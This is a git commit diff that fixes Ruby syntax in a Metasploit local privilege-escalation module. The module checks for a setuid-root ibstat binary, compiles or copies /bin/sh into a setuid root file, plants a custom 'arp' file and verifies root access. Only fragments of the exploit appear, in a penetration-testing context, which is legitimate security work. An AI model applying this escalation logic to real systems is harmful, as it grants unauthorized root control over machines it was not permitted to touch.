Fix more bugs and more syntax errors

bug/bundler_fix
Sagi Shahar 2014-04-01 01:22:12 +02:00
parent becefde52f
commit 8611526a01
1 changed files with 5 additions and 5 deletions

View File

@ -54,7 +54,7 @@ class Metasploit4 < Msf::Exploit::Local
def check
find_output = cmd_exec "find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null"
if find_output.include? ("ibstat")
if find_output.include? "ibstat"
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
@ -92,10 +92,10 @@ chmod 4555 #{root_file}
cmd_exec "gcc -o #{root_file} #{root_file}.c"
print_status("Compilation completed")
register_file_for_cleanup("#{root_file}.c")
register_file_for_cleanup("#{root_file}")
else
cmd_exec "cp /bin/sh #{root_file}"
end
register_file_for_cleanup("#{root_file}")
print_status("Writing custom arp file...")
write_file("#{arp_file}",arp)
register_file_for_cleanup("#{arp_file}")
@ -123,7 +123,7 @@ chmod 4555 #{root_file}
def gcc_installed?
print_status("Checking if gcc exists...")
gcc_whereis_output = cmd_exec "whereis -b gcc"
if gcc_whereis_output.include? ("/")
if gcc_whereis_output.include? "/"
print_good("gcc found!")
return true
end
@ -133,11 +133,11 @@ chmod 4555 #{root_file}
def is_root?
id_output = cmd_exec "id"
if id_output.include? ("euid=0(root)")
if id_output.include? "euid=0(root)"
print_good("Got root! (euid)")
return true
end
if id_output.include?("uid=0(root)")
if id_output.include? "uid=0(root)"
print_good("Got root!")
return true
end